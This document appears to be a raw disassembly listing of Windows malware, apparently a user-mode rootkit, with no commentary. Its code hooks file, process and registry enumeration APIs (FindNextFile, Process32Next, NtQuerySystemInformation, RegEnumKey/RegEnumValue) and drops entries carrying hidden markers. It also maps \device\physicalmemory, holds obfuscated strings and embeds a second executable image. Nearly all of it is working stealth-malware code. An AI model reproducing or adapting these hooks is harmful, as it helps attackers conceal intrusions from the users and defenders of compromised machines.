		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_401FCE
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FEC
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FCE
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_401FFB
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
		dd offset loc_402002
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43C85B:				; CODE XREF: .data:0043C8A4j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CA68h
		test	eax, eax
		jz	short loc_43C8A6
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax

loc_43C875:				; CODE XREF: .data:0043C87Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_43C87D
		inc	ebx
		jmp	short loc_43C875
; ---------------------------------------------------------------------------

loc_43C87D:				; CODE XREF: .data:0043C878j
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD49Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43C8A3
		popa
		jmp	short loc_43C8A6
; ---------------------------------------------------------------------------

loc_43C8A3:				; CODE XREF: .data:0043C89Ej
		popa
		jmp	short loc_43C85B
; ---------------------------------------------------------------------------

loc_43C8A6:				; CODE XREF: .data:0043C868j
					; .data:0043C8A1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43C8DC:				; CODE XREF: .data:0043C92Bj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CAE9h
		test	eax, eax
		jz	short loc_43C92D
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax

loc_43C8F6:				; CODE XREF: .data:0043C8FEj
		cmp	word ptr [ebx],	0
		jz	short loc_43C900
		inc	ebx
		inc	ebx
		jmp	short loc_43C8F6
; ---------------------------------------------------------------------------

loc_43C900:				; CODE XREF: .data:0043C8FAj
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D625h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43C92A
		popa
		jmp	short loc_43C92D
; ---------------------------------------------------------------------------

loc_43C92A:				; CODE XREF: .data:0043C925j
		popa
		jmp	short loc_43C8DC
; ---------------------------------------------------------------------------

loc_43C92D:				; CODE XREF: .data:0043C8E9j
					; .data:0043C928j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_43C940	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .data:0043CE8Co
		dd 616D726Fh, 6E6F6974h
		db 0
; ---------------------------------------------------------------------------

loc_43C95D:				; DATA XREF: .data:0043CE94o
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx
		sub	esp, 10h
		mov	eax, [ebp+14h]
		mov	edi, [ebp+10h]
		mov	ebx, [ebp+0Ch]
		mov	[esp+0Ch], eax
		mov	[esp+8], edi
		mov	[esp+4], ebx
		mov	esi, [ebp+8]
		mov	[esp], esi
		call	near ptr 245CB93h
		mov	[ebp-4], eax
		cmp	esi, 5
		jz	short loc_43C9AD

loc_43C999:				; CODE XREF: .data:0043C9B3j
					; .data:0043CA06j
		mov	eax, [ebp-4]
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------

loc_43C9AD:				; CODE XREF: .data:0043C997j
		cmp	edi, 1F40h
		jle	short loc_43C999
		jmp	short loc_43C9BB
; ---------------------------------------------------------------------------

loc_43C9B7:				; CODE XREF: .data:0043CA08j
		mov	esi, ebx

loc_43C9B9:				; CODE XREF: .data:0043CA00j
		add	ebx, eax

loc_43C9BB:				; CODE XREF: .data:0043C9B5j
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx

loc_43C9C9:				; CODE XREF: .data:0043C9DCj
		bt	eax, ebx
		jb	short loc_43C9D4
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43C9D8
; ---------------------------------------------------------------------------

loc_43C9D4:				; CODE XREF: .data:0043C9CCj
		mov	byte ptr [esp+ebx], 31h

loc_43C9D8:				; CODE XREF: .data:0043C9D2j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43C9C9
		push	esp
		call	near ptr 0C4FD5F0h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43C9EF
		popa
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------

loc_43C9EF:				; CODE XREF: .data:0043C9EAj
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_43C9FE
		mov	dword ptr [esi], 0
		jmp	short loc_43CA02
; ---------------------------------------------------------------------------

loc_43C9FE:				; CODE XREF: .data:0043C9F4j
		add	[esi], eax
		jmp	short loc_43C9B9
; ---------------------------------------------------------------------------

loc_43CA02:				; CODE XREF: .data:0043C9EDj
					; .data:0043C9FCj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_43C999
		jmp	short loc_43C9B7
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:off_43CE7Co
word_43CA1E	dw 8360h		; DATA XREF: .data:off_43CE84o
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43CA66:				; CODE XREF: .data:0043CAB4j
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 245CC7Dh
		test	eax, eax
		jz	short loc_43CAB6
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx

loc_43CA8D:				; CODE XREF: .data:0043CAA0j
		bt	eax, ebx
		jb	short loc_43CA98
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43CA9C
; ---------------------------------------------------------------------------

loc_43CA98:				; CODE XREF: .data:0043CA90j
		mov	byte ptr [esp+ebx], 31h

loc_43CA9C:				; CODE XREF: .data:0043CA96j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43CA8D
		push	esp
		call	near ptr 0C4FD6B4h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43CAB3
		popa
		jmp	short loc_43CAB6
; ---------------------------------------------------------------------------

loc_43CAB3:				; CODE XREF: .data:0043CAAEj
		popa
		jmp	short loc_43CA66
; ---------------------------------------------------------------------------

loc_43CAB6:				; CODE XREF: .data:0043CA7Dj
					; .data:0043CAB1j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43CADC:				; CODE XREF: .data:0043CB29j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CCEFh
		test	eax, eax
		jnz	short loc_43CB2B
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CAF7:				; CODE XREF: .data:0043CAFDj
		cmp	byte ptr [ebx],	0
		jz	short loc_43CAFF
		inc	ebx
		jmp	short loc_43CAF7
; ---------------------------------------------------------------------------

loc_43CAFF:				; CODE XREF: .data:0043CAFAj
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD720h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CB25
		popa
		jmp	short loc_43CB2B
; ---------------------------------------------------------------------------

loc_43CB25:				; CODE XREF: .data:0043CB20j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CADC
; ---------------------------------------------------------------------------

loc_43CB2B:				; CODE XREF: .data:0043CAEFj
					; .data:0043CB23j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43CB44:				; CODE XREF: .data:0043CB97j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CD57h
		test	eax, eax
		jnz	short loc_43CB99
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CB5F:				; CODE XREF: .data:0043CB67j
		cmp	word ptr [ebx],	0
		jz	short loc_43CB69
		inc	ebx
		inc	ebx
		jmp	short loc_43CB5F
; ---------------------------------------------------------------------------

loc_43CB69:				; CODE XREF: .data:0043CB63j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D88Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CB93
		popa
		jmp	short loc_43CB99
; ---------------------------------------------------------------------------

loc_43CB93:				; CODE XREF: .data:0043CB8Ej
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43CB44
; ---------------------------------------------------------------------------

loc_43CB99:				; CODE XREF: .data:0043CB57j
					; .data:0043CB91j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_43CBA0	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h ;	DATA XREF: .data:0043CEDCo
		db 0
; ---------------------------------------------------------------------------

loc_43CBB1:				; DATA XREF: .data:0043CEE4o
		push	ebp
		mov	ebp, esp

loc_43CBB4:				; CODE XREF: .data:0043CC2Fj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CBC2
		push	dword ptr [eax]

loc_43CBC2:				; CODE XREF: .data:0043CBBEj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CDE1h
		test	eax, eax
		jnz	short loc_43CC31
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CBE9:				; CODE XREF: .data:0043CBF1j
		cmp	word ptr [ebx],	0
		jz	short loc_43CBF3
		inc	ebx
		inc	ebx
		jmp	short loc_43CBE9
; ---------------------------------------------------------------------------

loc_43CBF3:				; CODE XREF: .data:0043CBEDj
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50D918h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CC1D
		popa
		jmp	short loc_43CC31
; ---------------------------------------------------------------------------

loc_43CC1D:				; CODE XREF: .data:0043CC18j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CC2A
		pop	dword ptr [eax]

loc_43CC2A:				; CODE XREF: .data:0043CC26j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CBB4
; ---------------------------------------------------------------------------

loc_43CC31:				; CODE XREF: .data:0043CBE1j
					; .data:0043CC1Bj
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43CC3D
		add	esp, 4

loc_43CC3D:				; CODE XREF: .data:0043CC38j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43CC58:				; CODE XREF: .data:0043CCCDj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CC66
		push	dword ptr [eax]

loc_43CC66:				; CODE XREF: .data:0043CC62j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CE85h
		test	eax, eax
		jnz	short loc_43CCCF
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CC8D:				; CODE XREF: .data:0043CC93j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CC95
		inc	ebx
		jmp	short loc_43CC8D
; ---------------------------------------------------------------------------

loc_43CC95:				; CODE XREF: .data:0043CC90j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD8B6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CCBB
		popa
		jmp	short loc_43CCCF
; ---------------------------------------------------------------------------

loc_43CCBB:				; CODE XREF: .data:0043CCB6j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43CCC8
		pop	dword ptr [eax]

loc_43CCC8:				; CODE XREF: .data:0043CCC4j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CC58
; ---------------------------------------------------------------------------

loc_43CCCF:				; CODE XREF: .data:0043CC85j
					; .data:0043CCB9j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43CCDB
		add	esp, 4

loc_43CCDB:				; CODE XREF: .data:0043CCD6j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_43CCE0	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h ; DATA XREF: .data:0043CEFCo
		db 65h,	57h, 0
; ---------------------------------------------------------------------------

loc_43CCF3:				; DATA XREF: .data:0043CF04o
		push	ebp
		mov	ebp, esp

loc_43CCF6:				; CODE XREF: .data:0043CD71j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CD04
		push	dword ptr [eax]

loc_43CD04:				; CODE XREF: .data:0043CD00j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CF23h
		test	eax, eax
		jnz	short loc_43CD73
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CD2B:				; CODE XREF: .data:0043CD33j
		cmp	word ptr [ebx],	0
		jz	short loc_43CD35
		inc	ebx
		inc	ebx
		jmp	short loc_43CD2B
; ---------------------------------------------------------------------------

loc_43CD35:				; CODE XREF: .data:0043CD2Fj
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50DA5Ah
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43CD5F
		popa
		jmp	short loc_43CD73
; ---------------------------------------------------------------------------

loc_43CD5F:				; CODE XREF: .data:0043CD5Aj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CD6C
		pop	dword ptr [eax]

loc_43CD6C:				; CODE XREF: .data:0043CD68j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CCF6
; ---------------------------------------------------------------------------

loc_43CD73:				; CODE XREF: .data:0043CD23j
					; .data:0043CD5Dj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43CD7F
		add	esp, 4

loc_43CD7F:				; CODE XREF: .data:0043CD7Aj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43CD9A:				; CODE XREF: .data:0043CE0Fj
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CDA8
		push	dword ptr [eax]

loc_43CDA8:				; CODE XREF: .data:0043CDA4j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245CFC7h
		test	eax, eax
		jnz	short loc_43CE11
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43CDCF:				; CODE XREF: .data:0043CDD5j
		cmp	byte ptr [ebx],	0
		jz	short loc_43CDD7
		inc	ebx
		jmp	short loc_43CDCF
; ---------------------------------------------------------------------------

loc_43CDD7:				; CODE XREF: .data:0043CDD2j
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FD9F8h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43CDFD
		popa
		jmp	short loc_43CE11
; ---------------------------------------------------------------------------

loc_43CDFD:				; CODE XREF: .data:0043CDF8j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43CE0A
		pop	dword ptr [eax]

loc_43CE0A:				; CODE XREF: .data:0043CE06j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43CD9A
; ---------------------------------------------------------------------------

loc_43CE11:				; CODE XREF: .data:0043CDC7j
					; .data:0043CDFBj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43CE1D
		add	esp, 4

loc_43CE1D:				; CODE XREF: .data:0043CE18j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402A48+3F5o
					; .data:off_43CE80o
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_402226+Eo
					; .data:0043CE90o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .data:0043CEE0o
					; .data:0043CF00o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
off_43CE7C	dd offset aProcess32next ; DATA	XREF: sub_402A48+BAr
					; sub_402A48+EDr ...
					; "Process32Next"
off_43CE80	dd offset aKernel32_dll	; DATA XREF: sub_402A48+9Br
					; "kernel32.dll"
off_43CE84	dd offset word_43CA1E	; DATA XREF: sub_402843+1F1r
byte_43CE88	db 0			; DATA XREF: sub_402A48+66r
					; sub_402A48+83r
		align 4
		dd offset dword_43C940+4
		dd offset aNtdll_dll	; "ntdll.dll"
		dd offset loc_43C95D
		dd 1, 43C8BDh, 43CE27h,	43C8CBh, 1, 43C83Ch, 43CE27h, 43C84Ah
		dd 2, 43CB35h, 43CE3Eh,	43CB41h, 1, 43CACDh, 43CE3Eh, 43CAD9h
		dd 0
		dd offset dword_43CBA0+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43CBB1
		dd 1, 43CC47h, 43CE3Eh,	43CC55h, 0
		dd offset dword_43CCE0+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43CCF3
		dd 1, 43CD89h, 43CE3Eh,	43CD97h, 5 dup(0)
		dd 1
dword_43CF30	dd 0Ah			; DATA XREF: sub_4023A7+4Dr
dword_43CF34	dd 0			; DATA XREF: .text:004021AFr
					; .text:loc_4021C8r ...
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402226+25o
		db '^H',0
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402226+3Ao
		db 7Ah,	57h, 34h
		dd 7F3640h
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_402226+4Ao
aBc		db ':Bc',0
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_402226+65o
		align 2
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402226+75o
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_4022BB+95o
		align 4
aDevicePhysical:			; DATA XREF: sub_4022BB+Eo
		unicode	0, <\device\physicalmemory>,0
byte_43CFE6	db 0			; DATA XREF: sub_4022BB+5Eo
dword_43CFE7	dd 465420h		; DATA XREF: sub_4022BB+76r
byte_43CFEB	db 0			; DATA XREF: sub_4022BB+A1o
dword_43CFEC	dd 248243h		; DATA XREF: sub_4022BB+B3r
word_43CFF0	dw 66h			; DATA XREF: sub_4024A8+4r
		align 4
dword_43CFF4	dd 0			; DATA XREF: sub_402A48+5B7r
dword_43CFF8	dd 11h			; DATA XREF: sub_402A48+1BDr
dword_43CFFC	dd 0			; DATA XREF: .text:004024D1r
					; .text:loc_4024EAr ...
aWcscmp		db 'wcscmp',0           ; DATA XREF: .data:off_43D094o
aHtons		db 'htons',0
aVirtualprotect	db 'VirtualProtect',0
aNua		db 'NU',0
aGetcurrentproc	db 'GetCurrentProcessId',0
		dd 6E694600h, 6E695764h, 41776F64h, 74306B00h, 3B6E704Dh
		dd 6E655300h, 73654D64h, 65676173h, 3E530041h, 7349007Eh
		dd 52646142h, 50646165h, 37007274h, 83382520h, 6C470065h
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 6C470041h, 6C61626Fh
		dd 646E6946h, 6D6F7441h, 57h
byte_43D090	db 3			; DATA XREF: sub_402563+87r
		align 4
off_43D094	dd offset aWcscmp	; DATA XREF: sub_402563+FBr
					; sub_402563+15Er
					; "wcscmp"
off_43D098	dd offset aNtdll_dll	; DATA XREF: sub_402563+E8r
					; "ntdll.dll"
		dd 5, 43D007h, 43CE65h,	7, 43D00Dh, 43CE27h, 8,	43D020h
		dd 43CE27h, 9, 43D035h,	43CE71h, 0Ah, 43D049h, 43CE71h
		dd 0Bh,	43D05Ah, 43CE27h, 0Ch, 43D06Eh,	43CE27h, 0Dh, 43D07Eh
		dd 43CE27h
aCcLN		db 'CC$l+n',0           ; DATA XREF: sub_402563+Co
word_43D103	dw 68h			; DATA XREF: sub_402563+14Br
aTLd		db 'T-+ld&',0           ; DATA XREF: sub_402563+1BDo
a5anwhv		db '5Nwhv',0           ; DATA XREF: sub_402843+3Co
aZ		db 'z ',0               ; DATA XREF: sub_402843+DFo
aNiL		db 'NI*l',0             ; DATA XREF: sub_402843+135o
word_43D11B	dw 62h			; DATA XREF: sub_402843+191r
byte_43D11D	db 6Ch,	75h, 0		; DATA XREF: sub_402A48+3Fo
aOGdu		db 'O$/gdu ',0          ; DATA XREF: sub_402A48+101o
aE3		db '-;E3',0             ; DATA XREF: sub_402A48+40Bo
aZt_		db '!/zt_$',0           ; DATA XREF: sub_402A48+511o
byte_43D134	db 0			; DATA XREF: sub_403010+46o
aZ_0		db ' Z',0               ; DATA XREF: sub_403010+216o
		dw 7
		unicode	0, <>,0
		dd 10h
dword_43D140	dd 0Ah			; DATA XREF: sub_4032E2+Dr
					; sub_4032E2:loc_403308r ...
aObxzqn@	db 'oxzqn@',0          ; DATA XREF: sub_403370+48o
byte_43D14C	db 0			; DATA XREF: sub_403370+9Eo
word_43D14D	dw 4Eh			; DATA XREF: sub_40341E+6Cr
word_43D14F	dw 57h			; DATA XREF: sub_40349A+Cr
dword_43D151	dd 813B36h		; DATA XREF: sub_40349A+19r
aJ95e		db ' J95E',0            ; DATA XREF: sub_40349A+79o
		align 4
dword_43D15C	dd 1			; DATA XREF: sub_4035DB+31r
		dd 0Ah
dword_43D164	dd 0			; DATA XREF: sub_40354F+15r
					; sub_40354F:loc_40357Dr ...
byte_43D168	db 5Eh,	48h, 0		; DATA XREF: sub_4035DB+Fo
byte_43D16B	db 7Ah			; DATA XREF: sub_4035DB+1Fo
		dd 36403457h
		db 7Fh,	0
aDmc9		db '!dmC9',0            ; DATA XREF: sub_4036BC+17o
		dd 0
		dd 11h
dword_43D180	dd 0			; DATA XREF: sub_40372A+Er
					; sub_40372A:loc_403751r ...
a9b7		db ':9b 7-',0           ; DATA XREF: .text:00403873o
aUa		db 'U',0               ; DATA XREF: .text:004038E9o
		align 10h
		dd 6, 0Eh
dword_43D198	dd 0ADh			; DATA XREF: sub_40390E+15r
					; sub_40390E:loc_403943r ...
dword_43D19C	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_403BE7+29Co
		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
a_text		db '.text',0
		align 4
		db '',7,0
		align 10h
		dd 1000h, 7BCh,	400h, 3	dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
		dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
		dd 1024548Bh, 3B80289h,	0C3000000h

; =============== S U B	R O U T	I N E =======================================



sub_43D5BC	proc near		; CODE XREF: .data:0043D6E4p
					; .data:0043D712p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
